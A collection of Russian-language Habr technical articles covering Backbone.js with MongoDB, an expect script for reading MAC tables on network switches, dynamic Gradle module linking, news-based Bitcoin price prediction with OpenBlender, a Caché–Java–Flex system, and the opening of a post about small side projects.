fltr[this.idAttribute] = this.get(this.idAttribute);
switch (method){
case "update":
collection.update(
fltr,
this.toJSON(),
{multi:false, upsert: true},
done.bind(this)
);
break;
case "create":
collection.insert(
this.toJSON(),
{safe:true},
done.bind(this)
);
break;
case "read":
collection.find(fltr).toArray(function(err, items) {
done.call(this, false, items[0]);
}
}.bind(this));
break;
case "delete":
collection.findAndModify(fltr, [], {}, {remove:true}, function(err, items) {
deferred.resolve();
});
}
}
},
```
Тут тоже ничего сложного. На каждый конкретный метод изменения модели мы вешаем обработчики, умеющие делать это действие в самой базе.
Теперь, после создания объекта user, например, так:
```
var user = new User({name:"Danil"});
```
мы можем спокойно его сохранить:
```
user.save()
```
а также удалить после сохранения:
```
user.delete()
```
##### Базовая коллекция
Работать с одиночными моделями достаточно скучно, поэтому реализуем коллекции, тем-более базовый класс в backbone.js для этого есть. По аналогии с моделью переопределим базовый класс коллекции. Все наши будущие коллекции будут наследоваться от него. Для начала напишем извлечение списка «сырых данных» из базы:
```
var BaseCollection = Backbone.Collection.extend({
},{
db_collection: null,
__fetchCollection:function(filter, collection){
var deferred = new Deferred();
function collectionReady(err, collection){
collection.find(filter).toArray(function(err, items) {
deferred.resolve(items);
}.bind(this));
}
db.getCollection(collection_db, collectionReady, this);
return deferred.promise;
}
});
```
Здесь мы создаем статический метод класса, который позволит нам извлекать список «сырых данных» из базы, а также добавляем статическое поле db\_collection, которое наследники будут переопределять, указывая, к какой коллекции в mongodb относится этот класс.
Осталось добавить инициализацию нужных моделей, добавляем еще один статический метод в наш базовый класс коллекции:
```
fetchFromDb:function(filter){
var deferred = new Deferred();
this.__fetchCollection(filter, this.db_collection).then(
function(models){
deferred.resolve(new this(models));
}.bind(this)
);
return deferred.promise;
},
```
Здесь мы просто получаем «сырые данные» и инициализируем модели, связанные с этой коллекцией, данными из базы. Конечно, само название коллекции в mongodb мы можем получать от связанной модели, но будем считать это упрощением.
Теперь, определив коллекцию пользователей, мы можем делать запросы в базу, получая объекты с пользователями:
```
var Users = BaseCollection.extend({model:User}, {db_collection: "users"});
Users.fetchFromDb({name:"Danil"}).then(function(users){
_.each(users,function(user){console.log(user.id)});
});
```
В итоге мы получили весь необходимый минимум для работы с mongodb и дальше можем пользоваться другими возможностями, которые нам дает backbone.js. | https://habr.com/ru/post/158569/ | null | ru | null |
# Удобый просмотр MAC адресов на портах свитчей huawei, linksys, dlink, extreme при помощи expect
Каждый день взаимодействуя с тех.поддержкой приходится лазить на свитчи и глядеть маки.В принципе ничего сложного, но хотелось как то упросить себе работу.
Освоил expect и сразу в бой. Написал, опробовал, получилось. Теперь делюсь с Вами, может кому и пригодится.
Сначала создадим пустой файлик: **nano ./get\_mac.sh**
Теперь нужно вставить внутрь туда код который ниже:
```
#!/usr/bin/expect -f
if {[llength $argv] != 2} {
puts "Неверно указаны переменные: ./get_mac 10.5.X.XXX 'port'"
exit 1
}
set ip [lindex $argv 0]
set eth [lindex $argv 1]
set login "ЛОГИН НА СВИТЧЕ"
set pass "ПАРОЛЬ"
package require Expect
spawn telnet $ip
expect {
"*assw*" {
send "$pass\n"
expect "*>"
send "su\n"
expect "*ass*"
send "$pass\n"
expect "*>"
send "disp mac-addr dy | inc $eth\n"
expect "*>"
send "q\n"}
"*User Name*" {
send "$login\n"
expect "*asswor*"
send "$pass\n"
expect "*#"
send "show brid address-table ethernet e$eth\n"
expect "*#"
send "exit\n"}
"*login*" {
send "admin\n"
expect "*password*"
send "$pass\n"
expect "*#*"
send "show fdb port $eth\n"
expect "*#*"
send "exit\n"}
"*Name*" {
send "$login\n"
expect "*Word*"
send "$pass\n"
expect "*#"
send "show fdb port $eth\n"
expect "*#"
send "logo\n"}
}
interact
```
Теперь рассмотрим как это работает.
В командной строке нужно написать вызов скрипта ,ip Вашего свитча, и порт на котором хотим поглядеть МАС: **./get\_mac.sh 10.5.0.10 1**
После чего пройдет выполнение скрипта. Експект проанализирует входное значение. В зависимости от приветствия будет выполняться нужный сегмент кода.
У свитчей Huawei есть особенность. Можно считать таблицу fdb динамически и сортировать по содержащемуся значению. По этому для этих свитчей рекомендуется более точно указывать параметр порта. К примеру **Eth0/0/Номер порта** или **0/0/Номер порта**. Иначе скрипт вывалит все маки в которых содержится переменная и скрипт может вылететь по причине ожидания.
Данный скрипт проверен на железках huawei s2326TP-EI, dlink des-3028, linksys sr224g4 и extreme summit 200-24. По идее будет работать и на dlink'ах других серий таких как 32,35 и cisco. | https://habr.com/ru/post/271867/ | null | ru | null |
# Динамическое подключение внешних собственных модулей и плагинов в Gradle
### Преамбула
Есть своя «внешняя» библиотека и есть своё приложение, использующее эту библиотеку (подгружается через внешний репозитарий). Требуется внести изменение и в библиотеку и в приложение.
Казалось бы, собери библиотеку и выложи её в локальный maven-репозитарий, а потом уже собирай приложение. Но хочется, чтобы можно было поправив код в библиотеке сразу попробовать изменения в приложении и при этом сохранить раздельное хранение кода библиотеки и приложения, включая настройки IDE и прочее.
С помощью gradle и символических связей в файловой системе такое можно легко устроить.
### Библиотека
Для начала приведу пример содержимого build.gradle в библиотеке:
```
import java.text.SimpleDateFormat
apply plugin: 'java'
apply plugin: 'maven-publish'
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
jar.baseName = 'library'
publishing {
publications {
mavenJava(MavenPublication) {
groupId='name.alenkov.habr.gradle-dynamic-dependency'
version = new SimpleDateFormat('yyyyMMddHHmm').format(new Date())
from components.java
}
}
}
```
Здесь ключевым является строка «version = new SimpleDateFormat('yyyyMMddHHmm').format(new Date())», которая задаёт версию сборки на основе текущего времени в момент её публикации в репозитарий — в остальное время версия для библиотеки нам не требуется.
*Disclaimer*: В нашем демонстрационном приложении мы не поддерживаем более одной ветки библиотек в продуктовой среде и потому нет потребности в поддержке версионности вида X.Y.Z
*Note:* в примерах я использую локальный Maven и не привожу примеры с использованием Artifactory, т.к. это не влияет на подход.
### Приложение
Теперь перейдём к настройке нашего build.gradle в приложении.
Исходное состояние build.gradle:
```
apply plugin: 'java'
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
repositories {
mavenLocal()
jcenter()
}
dependencies {
compile 'name.alenkov.habr.gradle-dynamic-dependency:library:+'
}
```
Теперь давайте модифицируем конфигурацию gradle так, чтобы получить желаемое — динамическое подключение модулей.
Первый шагом, слинкуем нашу библиотеку в проект приложения в подкаталог ext:
```
cd ./app/ext
ln -s ../../library/ ./
```
Вторым шагом добавим небольшой код в settings.gradle, который сканирует каталог "/ext" на наличие gradle-проектов и будет подключать их к нам в проект:
```
final extDir = new File(rootDir, 'ext')
if (extDir.exists()) {
extDir.eachDir { dir ->
if (new File(dir, 'build.gradle').exists()) {
logger.trace('found ext module: ' + dir.name)
final String prjName = ':' + dir.name
logger.lifecycle('include ext project: ' + prjName)
include prjName
project(prjName).projectDir = dir
project(prjName).name = 'ext-' + dir.name
}
}
}
```
И третий, заключительный штрих — модифицируем секцию dependencies в build.gradle:
```
dependencies {
compile findProject(':ext-library') ?: module(group: 'name.alenkov.habr.gradle-dynamic-dependency', name: 'library', version: '+')
}
```
и пример, когда в library есть дополнительные gradle-задачи:
### Gradle-плагин
Аналогичным способом можно добавить и внешние gradle-плагины.
Шаги:
1. Создаём каталог *buildSrc*
2. Создаём файл *buildSrc/settings.gradle*
```
final extDir = rootDir
if (extDir.exists()) {
extDir.eachDir { dir ->
if (new File(dir, 'build.gradle').exists()) {
logger.trace('found ext plugin: ' + dir.name)
final String prjName = ':' + dir.name
logger.lifecycle('include ext plugin: ' + prjName)
include prjName
project(prjName).projectDir = dir
project(prjName).name = 'ext-plugin-' + dir.name
}
}
}
```
3. Создаём файл *buildSrc/build.gradle*
```
dependencies {
runtime subprojects.collect { owner.project(it.path) }
}
```
Теперь достаточно прилинковать в *buildSrc* внешний плагин, как он подхватится проектом в работу:
```
cd ./app/buildSrc
ln -s ../../gradle-plugin/ ./
```
Из текущего неудобства — в IDEA динамические модули и плагины подключаются не совсем корректно — [баг](https://youtrack.jetbrains.com/issue/IDEA-173918) и [баг](https://youtrack.jetbrains.com/issue/IDEA-174062).
Исходный код обоих модулей и плагина можно посмотреть на [github](https://github.com/BorzdeG/name.alenkov.habr.gradle-dynamic-dependency)
**UPD:** аналогичным способом можно подключать и плагины gradle, только монтируя их в buildSrc. Если будут желающие, могу написать пример…
**UPD:** добавил пример с плагином | https://habr.com/ru/post/330162/ | null | ru | null |
# Предсказание стоимости биткоина по новостям на Python
***Перевод статьи подготовлен в преддверии старта курса [«Machine Learning»](https://otus.pw/pHAO/) от OTUS.***
---
### Задача
В этом руководстве мы используем датасет *[Bitcoin vs USD](https://www.openblender.io/#/dataset/explore/5d4c3af79516290b01c83f51/or/21).*
Вышеприведенный датасет содержит ежедневную сводку цен, где колонка CHANGE – это изменение цены в процентах от цены за предыдущий день (*PRICE*) по отношению к новой (*OPEN*).
**Цель:** Чтобы упростить задачу, мы сосредоточимся на прогнозировании того, возрастет ли цена (*CHANGE > 0*) или упадет (*CHANGE < 0*) на следующий день. (Так мы потенциально сможем использовать предсказания «в реальной жизни»).
**Требования**
* В системе должен быть установлен Python 2.6+ или 3.1+
* Установите *pandas*, *sklearn* и *openblender* (с помощью pip)
```
$ pip install pandas OpenBlender scikit-learn
```
### Шаг 1. Получим данные о биткоине
Для начала давайте импортируем нужные библиотеки:
```
import OpenBlender
import pandas as pd
import json
```
А теперь вытащим данные через [OpenBlender API](https://www.openblender.io/#/welcome/or/21).
Для начала определим параметры (в нашем случае это просто *id* [датасета биткоина](https://www.openblender.io/#/dataset/explore/5d4c3af79516290b01c83f51/or/21)):
```
# It only contains the id, we'll add more parameters later.
parameters = {
'id_dataset':'5d4c3af79516290b01c83f51'
}
```
**Примечание:** вам нужно будет завести аккаунт на [openblender.io](https://www.openblender.io/#/welcome/or/21) (это бесплатно) и добавить токен (его вы найдете во вкладке «Учетная запись»):
```
parameters = {
'token':'your_token',
'id_dataset':'5d4c3af79516290b01c83f51'
}
```
А теперь давайте положим данные в Dataframe *‘df’*:
```
# This function pulls the data and orders by timestamp
def pullObservationsToDF(parameters):
action = 'API_getObservationsFromDataset'
df = pd.read_json(json.dumps(OpenBlender.call(action,parameters)['sample']), convert_dates=False,convert_axes=False) .sort_values('timestamp', ascending=False)
df.reset_index(drop=True, inplace=True)
return df
df = pullObservationsToDF(parameters)
```
И посмотрим на них:
**Примечание:** значения могут отличаться, поскольку *датасет обновляется ежедневно*!
### Шаг 2. Подготовка данных
Для начала нам нужно создать таргет для прогнозирования, который будет заключаться в том будет ли «*CHANGE*» увеличиваться или уменьшаться. Для этого добавим *'success\_thr\_over': 0* в параметры target threshold:
```
parameters = {
'token':'your_token',
'id_dataset':'5d4c3af79516290b01c83f51',
'target_threshold':{'feature':'change', 'success_thr_over': 0}
}
```
Если мы снова подтянем данные из API:
```
df = pullObservationsToDF(parameters)
df.head()
```
Признак «CHANGE» был заменен на новый признак ‘change\_over\_0’, который встает в значение 1, если «CHANGE» положителен и в 0, если нет. Это будет таргетом для машинного обучения.
Если мы хотим предсказать наблюдение на «завтра», мы не сможем использовать информацию из завтрашнего дня, поэтому давайте добавим задержку на один период.
```
parameters = {
'token':'your_token',
'id_dataset':'5d4c3af79516290b01c83f51',
'target_threshold':{'feature':'change','success_thr_over' : 0},
'lag_target_feature':{'feature':'change_over_0', 'periods' : 1}
}
df = pullObservationsToDF(parameters)
df.head()
```
Это просто выровняет *‘change\_over\_0’* с данными за предыдущий день (период) и изменит его имя на *‘TARGET\_change\_over\_0’*.
Давайте посмотрим на зависимость:
```
target_variable = 'TARGET_change_over_0'
df = df.dropna()
df.corr()[target_variable].sort_values()
```
Они линейно независимы и вряд ли будут полезны.
### Шаг 3. Получим данные Business News
После поиска зависимостей в [OpenBlender](https://www.openblender.io/#/welcome/or/21), я нашел датасет [Fox Business News](https://www.openblender.io/#/dataset/explore/5d571f9e9516293a12ad4f6d/or/21), который поможет генерировать хорошие прогнозы для нашего таргета.
Нам нужно найти способ преобразовать значения столбца *‘title’* в числовые характеристики, подсчитав повторения слов и групп слов в сводке новостей, и сопоставить их по времени с нашим датасетом биткоина. Это проще, чем кажется.
Для начала нужно создать *TextVectorizer* для признака *‘title’* у новости:
```
action = 'API_createTextVectorizer'
vectorizer_parameters = {
'token' : 'your_token',
'name' : 'Fox Business TextVectorizer',
'sources':[{'id_dataset' : '5d571f9e9516293a12ad4f6d',
'features' : ['title']}],
'ngram_range' : {'min' : 1, 'max' : 2},
'language' : 'en',
'remove_stop_words' : 'on',
'min_count_limit' : 2
}
```
Мы создадим векторизатор, чтобы получить все признаки как слова-токены в виде чисел. Выше мы указали следующее:
* *name*: назовем его *‘Fox Business TextVectorizer’*;
* *anchor*: id датасета и названия признаков, которые нам нужно будет использовать в качестве источника (в нашем случае только столбец *‘title’*);
* *ngram\_range*: минимальная и максимальная длина набора слов для токенизации;
* *language*: Английский
* *remove\_stop\_words*: чтобы удалить стоп-слова из источника;
* *min\_count\_limit*: минимальное количество повторений, которое следует считать за токен (единичные вхождения редко полезны).
А теперь запустим это:
```
res = OpenBlender.call(action, vectorizer_parameters)
res
```
Ответ:
```
{
'message' : 'TextVectorizer created successfully.'
'id_textVectorizer' : '5dc1a404951629331f6359dd',
'num_ngrams': 4270
}
```
Был создан *TextVectorizer*, который сгенерировал 4270 n-грам по нашей конфигурации. Чуть позже нам понадобится сгенерированный id:
***5dc1a404951629331f6359dd***
### Шаг 4. Совместим новостную сводку с датасетом биткоина
Теперь нам нужно сопоставить по времени новостную сводку и данные о курсе биткоина. В целом, это значит, что нужно объединить два набора данных, используя в качестве ключа временную метку. Давайте добавим объединенные данные к нашим исходным параметрам извлечения данных:
```
parameters = {
'token':'your_token',
'id_dataset':'5d4c3af79516290b01c83f51',
'target_threshold' : {'feature':'change','success_thr_over':0},
'lag_target_feature' : {'feature':'change_over_0', 'periods':1},
'blends':[{'id_blend':'5dc1a404951629331f6359dd',
'blend_type' : 'text_ts',
'restriction' : 'predictive',
'specifications':{'time_interval_size' : 3600*12 }}]
}
```
Выше мы указали следующее:
* *id\_blend*: id нашего textVectorizer;
* *blend\_type*: *‘text\_ts’*, чтобы Python понял, что это смесь текста и временной метки;
* *restriction*: *‘predictive’*, чтобы не происходило «смешивания» новостей из будущего со всеми наблюдениями, а только с теми, которые были опубликованы раньше указанного времени.
* *blend\_class* : *‘closest\_observation’*, чтобы «смешивались» только самые близкие по времени наблюдения;
* *specifications*: максимально возможное количество прошедшего времени для переноса наблюдения, в данном случае 12 часов (3600\*12). Это значит, что каждое наблюдение за ценой биткоина будет предсказано на основании новостей последних 12 часов.
Наконец, просто добавляем фильтр по дате *'date\_filter'*, начиная с 20 августа, поскольку именно тогда Fox News начали сбор данных, и *‘drop\_non\_numeric’*, чтобы мы получали только цифры:
```
parameters = {
'token':'your_token',
'id_dataset':'5d4c3af79516290b01c83f51',
'target_threshold' : {'feature':'change','success_thr_over':0},
'lag_target_feature' : {'feature':'change_over_0', 'periods':1},
'blends':[{'id_blend':'5dc1a404951629331f6359dd',
'blend_type' : 'text_ts',
'restriction' : 'predictive',
'blend_class' : 'closest_observation',
'specifications':{'time_interval_size' : 3600*12 }}],
'date_filter':{'start_date':'2019-08-20T16:59:35.825Z',
'end_date':'2019-11-04T17:59:35.825Z'},
'drop_non_numeric' : 1
}
```
**Примечание**: Я указал 4 ноября в качестве *‘end\_date’*, поскольку это был день, когда я писал этот код, вы можете изменить дату.
Давайте снова получим данные:
```
df = pullObservationsToDF(parameters)
print(df.shape)
df.head()
```
(57, 2115)
Теперь у нас есть больше 2000 признаков с токенами и 57 наблюдений.
### Шаг 5. Применим ML к таргету предсказания
Теперь у нас, наконец, есть чистый датасет, и он выглядит именно так, как нам нужно, со смещением таргета по времени и сопоставленными числовыми данными.
Давайте посмотрим на самые высокие корреляции с *‘Target\_change\_over\_0’*:
Теперь у нас есть несколько коррелирующих признаков. Давайте разделим датасет на тренировочный и тестовый в хронологическом порядке, чтобы мы могли обучать модель на ранних наблюдениях и тестировать на поздних.
```
X = df.loc[:, df.columns != target_variable].values
y = df.loc[:,[target_variable]].values
div = int(round(len(X) * 0.29))
# We take the first observations as test and the last as train because the dataset is ordered by timestamp descending.
X_test = X[:div]
y_test = y[:div]
print(X_test.shape)
print(y_test.shape)
X_train = X[div:]
y_train = y[div:]
print(X_train.shape)
print(y_train.shape)
```
У нас есть 40 наблюдений для обучения и 17 для тестирования.
Теперь импортируем необходимые библиотеки:
```
from sklearn.ensemble import RandomForestRegressor
from sklearn.metrics import mean_squared_error
from sklearn.metrics import accuracy_score
from sklearn.metrics import roc_auc_score
from sklearn import metrics
```
А теперь давайте используем случайный лес (RandomForest) и сделаем предсказание:
```
rf = RandomForestRegressor(n_estimators = 1000)
rf.fit(X_train, y_train)
y_pred = rf.predict(X_test)
```
Чтобы было проще разобраться, давайте поместим предсказания и *y\_test* в Dataframe:
```
df_res = pd.DataFrame({'y_test':y_test[:,0], 'y_pred':y_pred})
df_res.head()
```
Наш реальный *‘y\_test’* – бинарный, но прогнозы у нас типа *float*, поэтому давайте округлим их, предположив, что если они больше 0.5, то это означает рост цены, а если меньше 0.5 – понижение.
```
threshold = 0.5
preds = [1 if val > threshold else 0 for val in df_res['y_pred']]
```
Теперь, чтобы лучше понимать полученные результаты, получим AUC, матрицу ошибок и показатель точности:
```
print(roc_auc_score(preds, df_res['y_test']))
print(metrics.confusion_matrix(preds, df_res['y_test']))
print(accuracy_score(preds, df_res['y_test']))
```
Мы получили 64,7% правильных предсказаний с 0.65 AUC.
* 9 раз мы предсказали понижение, и цена уменьшилась (верно);
* 5 раз мы предсказали понижение, а цена увеличилась (неверно);
* 1 раз мы предсказали повышение, а цена уменьшилась неверно);
* 2 раза мы предсказали повышение, и цена увеличилась (верно).
**[Узнать подробнее о курсе](https://otus.pw/pHAO/).** | https://habr.com/ru/post/488912/ | null | ru | null |
# Caché + Java + Flex, или как мы делали систему управления учебным планированием
В этой серии статей мы постараемся подробно рассмотреть основные аспекты использования данной связки. Мы применили этот комбайн для реализации одной из подзадач проекта по разработке интеллектуальной системы автоматизированного управления учебным планированием. Для лучшего понимания, стоит сказать несколько слов о самом проекте.
Любые незначительные изменения в учебном плане приводят к огромным трудозатратам на его переработку и согласование в службах университета, поэтому заведующие кафедрами неохотно идут на их изменение. Целью проекта является создание агента заведующего кафедрой, который позволит создавать учебный план и вносить в него изменения таким образом, чтобы пользователь не ощущал груз рутинной работы перепроектирования учебного плана в случае внесения определённых корректировок.
По задумке, к каждому участнику процесса формирования учебного плана (например заведующему кафедры) привязывается агент, являющийся помощником и консультантом. В качестве инструмента, позволяющего легко реализовать таких агентов и обработать их поведение, была выбрана платформа [JADE](http://jade.tilab.com/) (Java Agent Development Framework).
В качестве СУБД, была использована [Caché](http://www.intersystems.ru/cache/technology/techguide/index.html) компании InterSystems. СУБД была выбрана нами по нескольким причинам. Во-первых, данная СУБД поддерживает объектный подход доступа к данным, что значительно облегчает работу (не считая еще и того, что она позволяет создавать проекции классов на различных языках, но об этом будет рассказано ниже). Во-вторых, в этой системе легко настроить области доступа для пользователей, что пригодится в дальнейшем. Ну и наконец, компания InterSystems всячески поддерживает разработчиков, которые пользуются их продуктами, а также предоставляет лицензии для ВУЗов [бесплатно](http://www.intersystems.ru/cache/education/cachecampus/index.html).
Было принято решение сделать систему кроссплатформенной, для удобства и мобильности в дальнейшем использовании. Для реализации web-интерфейса системы, была выбрана flex-технология (расширяющая базовые возможности flash).
В итоге, на первом этапе разработки был выделен ряд задач, о которых в дальнейшем и пойдет речь (собственно эти задачи мы и рассмотрим в данной серии статей):
* разработка модели классов Cache
* реализация взаимосвязи между Cache и Java
* разработка web-интерфейса
* реализация взаимосвязи Java с web-интерфейсом
Для решения четвертой задачи был выбран фрэймворк GraniteDS, работа с которым будет подробнее описана в следующей статье.
В итоге получившуюся архитектуру можно представить следующим образом:
Кроме описанного выше, на клиенте устанавливается связующий агент, обеспечивающий постоянную связь с агентом JADE и информирующий пользователя о происходящих событиях и сообщениях, передаваемых основным агентом.
В первой части мы сфокусируем наше внимание на взаимодействии Cache -Java.
Рассмотрим фрагмент структуры БД Caché, используемый для функционирования агента заведующего кафедрой в мультиагентной системе управления учебным планированием (МАС УУП). Хранимые классы были спроектированы и реализованы в студии Caché.
Фрагмент базы данных Caché для агента заведующего кафедрой состоит из шести хранимых классов, основным из которых является класс дисциплин (cDiscipline), включающий все необходимые характеристики дисциплины для составления учебного плана. Из приведенной выше диаграммы видно, что дисциплины разделяются по циклам и семестрам, которые, в свою очередь, входят вместе с дисциплинами в состав учебного плана по определённому направлению. Дисциплина может являться базовой и иметь в своём составе несколько других дисциплин, что реализовано отношением Parent. Связь дисциплины с классом cControlForm определяет форму контроля по дисциплине (экзамен или зачёт). Также учебный план содержит список внесенных в него изменений (класс cLogs).
Для последующей реализации связки хранимых классов Caché с логикой приложения на java, с помощью [стандартного механизма проецирования](http://docs.intersystems.com/cache20121/csp/docbook/DocBook.UI.Page.cls?KEY=BLJV_intro), были сгенерированы классы java-проекций. Ниже представлен код создания java-проекции в классе Caché.
```
Projection PrjName As %Projection.Java(ROOTDIR = "c:\Out\");
//PrjName – имя проекции, ROOTDIR – путь вывода класса на java
```
Как было отмечено, организация связи с базой данных Caché выполнена с использованием механизма java-проекций, а также библиотек, поставляемых с Caché для связи через JDBC.
Для облегчения разработки на данном этапе был создан слой m-классов, позволяющий отвязаться от классов java-проекций (c-классов).
Зачем это сделано? Классы java-проекций для описываемой системы, генерируемые Caché, представлены на данной диаграмме в виде пакета классов «Java c-classes». В пакете «Java m-classes» содержаться классы, каждый из которых соответствует классу из пакета «Java c-classes». Java m- классы повторяют только свойства классов из пакета c-, и помимо этого содержат свои get() и set() методы. Такой подход удобен при постоянных изменениях в классах Caché, поскольку после малейшего изменения в Caché, достаточно заново сгенерировать Java-проекцию необходимого класса Caché и затем произвести замену (а изменять m-классы значительно проще, чем редактировать вновь созданную проекцию). Кроме того этот подход на данном этапе помогает с организацией микротранзакций. К примеру, позволяет легко откатить изменения в m- классах, которые еще не были сохранены в c- (в частности необходимо для алгоритма). А если учесть еще и то, что Java напрямую не поддерживает клонирование, такие микротранзакции значительно облегчают работу. Помимо этого, Granite DS для создания ActionScript проекций требует внесения в основной класс некоторых изменений (об этом будет рассказано во второй части статьи), а внести такие изменения в m- класс легче, чем переписывать частично структуру c- класса. Поэтому такой подход значительно облегчает работу на основном этапе разработки, в то время как, на этапе оптимизации это решение может быть переработано.
Так, к примеру, с точки зрения эффективности и памяти этот подход выглядит не очень привлекательно. И в дальнейшем от него, скорее всего, придется отходить за счет реализации в с- классах интерфейса Serializable, который необходим для работы Granite DS.
Класс CacheTransform является связующим звеном между базой данных Caché и java классами. В этом классе реализуется два пути работы с БД Caché: через JDBC и через java-проекции. Для обеспечения связи с БД через JDBC в классе CacheTransform реализована функция подключения к базе данных. Реализация этой функции использует объект класса Database, поставляемого в библиотеке cachedb. Ниже приведён код функции подключения к БД.
```
public Boolean InitCon(String port, String user, String pass)
{
try {
username=user;
password=pass;
url="jdbc:Cache://localhost:"+port+"/IKIT";
dbconnection = CacheDatabase.getDatabase(url, username, password);
connect=true;
try{
setParams(port,user,pass);
}catch (IOException er){System.out.println("[Error of IO]: "+er);}
return true;
} catch (CacheException e) {
e.printStackTrace();
return false;
}
}
```
Функция InitCon принимает основные параметры подключения (port – номер порта, user – имя пользователя, pass – пароль для подключения к Caché), заносит их в соответствующие глобальные переменные и пытается подключиться к базе данных. При успешном подключении текущие параметры заносятся в конфигурационный файл функцией setParams(port,user,pass). Также, стоит отметить, что url использует localhost, поскольку само java-приложение и БД расположены на одной машине и в дальнейшем стоит унифицировать эту функцию, чтобы она принимала как адрес машины, на которой работает БД, так и область БД (в данном примере область — IKIT).
Далее рассмотрим порядок считывания данных из БД Caché. В классе CacheTransform для каждого класса java-проекции реализована пара функций, одна из которых загружает один объект класса по Id, а другая все объекты класса. Ниже приведён
**пример кода для загрузки объектов класса cControlForm.**
```
///Функция загрузки одного объекта формы контроля
public mControlForm ReadOneCont(Integer ind)
{
try {
if(connect == true)
{
cControlForm temp = (cControlForm) cControlForm._open(dbconnection, new Id(ind));
return TranformCF(temp);
}
return null;
}
catch (CacheException e) {
e.printStackTrace();
return null;
}
}
///Функция загрузки всех объектов форм контроля
public void ReadAllCont()
{
try {
if(connect == true)
{
ListOfCF.clear();
Iterator k = dbconnection.openByQuery("SELECT
IKIT.cControlForm.%ID FROM IKIT.cControlForm");
while (k.hasNext())
{
ListOfCF.add(TranformCF((cControlForm)k.next()));
}
}
}
catch (CacheException e) {
e.printStackTrace();
}
}
```
Из примера видно, что для загрузки одного объекта по Id используется функция \_open класса java-проекции, а для загрузки всех объектов вызывается функция openByQuery объекта dbconnection класса Database, в которую передаётся SQL запрос. Стоит отметить, что IKIT.cControlForm.%ID возвращает коллекцию объектов. Далее в обеих функциях вызывается метод TranformCF:
```
///Трансформация Формы контроля
public mControlForm TranformCF(cControlForm cur)
{
try{
mControlForm res=new mControlForm();
res.setId(Integer.parseInt(cur.getId().toString()));
if(cur.getZET()!=null) res.setZet(cur.getZET().floatValue());
res.setName(cur.getName());
return res;
}
catch (CacheException e) {
e.printStackTrace();
return null;
}
}
```
Как видно из описания, данный метод принимает объект c- класса и в случае успешного преобразования возвращает объект m- класса. В частности данный метод работает c классом ControlForm.
Порядок сохранения данных в БД Caché аналогичен процессу загрузки и реализован также в классе CacheTransform. Ниже приведён пример для сохранения данных класса cControlForm.
**исходный код cControlForm**
```
///Трансформация Формы контроля
public cControlForm RevTranformCF(mControlForm cur, Integer act)
{
try {
cControlForm res = null;
if (act == 1)
{
System.out.println("//MAS: TRY EDIT CF: "+ act.toString() + "\nID:" + cur.getId().toString());
res = (cControlForm) cControlForm._open(dbconnection, new Id(cur.getId()));
}
else {
System.out.println("//MAS: TRY ADD CF");
res = new cControlForm(dbconnection);
}
res.setName(cur.getName());
if(cur.getZet() != null) res.setZET(cur.getZet().doubleValue());
res._save();
return res;
}
catch (CacheException e) {
e.printStackTrace(); //To change body of catch statement use File | Settings | File Templates.
return null;
}
}
```
В примере входной аргумент act функции RevTranformCF принимает значение 1 или 0. Когда act равен единице, из базы данных загружается объект класса cControlForm, в противном случае, создаётся новый объект класса cControlForm. Далее выполняется присвоение значений атрибутам объекта cControlForm и вызывается функция сохранения.
Вызов методов объекта класса CacheTransform выполняется в классе UserService, который реализует интерфейс IUserService, используемый в свою очередь классами ActionScript web-приложения. Подробнее о данной связке будет рассказано в следующей части статьи.
Подводя итоги данной части статьи, можно сказать, что в нашем случае работа с Java-проекциями Cache значительно облегчила работу, поскольку она позволяет обойти связку «Cache класс»-«Данные»-«Java класс», поручая основную работу с данными СУБД. Проекции удобнее и с точки зрения ООП, так как происходит непосредственная работа с классами и отпадает необходимость в создании вручную структуры java-классов для обработки данных. Так, к примеру, вместо SQL запросов, зачастую возвращающих данные, тип которых необходимо знать заранее, используются методы get(), set(), позволяющие получить типизированные данные. Помимо всего прочего, регенерация классов-проекций при компиляции класса Cache избавляет от необходимости вносить значительные изменения в Java-классы, что наблюдалось бы при использовании связи через JDBC.
Что же касается основной структуры, то на этапе оптимизации потребуется унифицировать функции чтения и записи, а также перейти от дубликатов к чистым проекциям.
[В следующей части статьи](http://habrahabr.ru/company/intersystems/blog/150031/) мы расскажем об общей структуре проекта, реализующего связи Caché -Java — Flex, механизмах взаимодействия, а также используемых для этого инструментах. Работу самой системы можно посмотреть [здесь](http://188.127.230.159:8080/sample/). | https://habr.com/ru/post/149704/ | null | ru | null |
# Я два года выпускаю крошечные проекты
Два года назад, утомлённый длинным списком нереализованных идей проектов в телефоне, я решил попробовать осуществлять по идее за неделю в их минимальном виде.
Мне так и не удалось придерживаться еженедельного графика, однако я продолжал неторопливо работать, пока не выпустил восемь проектов.
Каждое утро я сидел с кофе и набрасывал код какого-то проекта. Это моё любимое хобби, а теперь оно стало приносить приличный пассивный доход.
В этом посте мне хочется рассказать о запущенных проектах и поделиться тем, чему научился в процессе создания этих крошечных Интернет-проектов.
Начнём с самого начала.
### [Tiny Website](https://tinyprojects.dev/projects/tiny_website)
Первый проект — это мой сайт, который вы сейчас читаете [речь про личный блог автора — прим. пер.].
В этом блоге я намеревался просто документировать все остальные проекты.
Я запустил его на следующий день после того, как мне исполнилось 25, и первый написанный пост [«Tiny Websites are Great»](https://tinyprojects.dev/posts/tiny_websites_are_great) оказался довольно популярным; это было *очень* кстати и мотивировало меня двигаться дальше.
С тех пор изменилось немногое. Было написано 17 постов и, разумеется, теперь на сайте есть *тёмный режим*.
Объективно, судя по просмотрам страниц, это мой самый успешный проект.
* *Запущен: **в мае 2020 года***
* *Просмотров страниц: **840 тысяч***
* *Доход: **£0***
### [Доменные имена Кремниевой долины](https://tinyprojects.dev/posts/i_bought_netflix_dot_soy)
Неделю спустя после запуска блога мне показалось, что будет гениальной идеей купить доменные имена нескольких FAANG-компаний, например, [google.קום](https://google.xn--9dbq2a/)
Это было не совсем проектом, но меня всегда интересовали домены, и написанный мной пост [«I bought netflix.soy»](https://tinyprojects.dev/posts/i_bought_netflix_dot_soy) снова завирусился.
Я по-прежнему владею [netflix.soy](https://netflix.soy). Учитывая рост цен на акции Netflix, возможно, когда-нибудь он чего-то будет стоить.
* *Запущен: **в мае 2020 года***
* *Получено от Facebook приказов о запрещении продолжения противоправного действия [cease and desist — прим. пер.]: **1***
* *Доход: **£0***
### [8-битная «Королевская битва»](https://tinyprojects.dev/projects/battle_royale)
Следующим сделанным мной проектом стала небольшая 8-битная игра для Android в жанре «королевская битва».
Создавать её было очень интересно, но в результате это оказался мой наименее успешный проект.
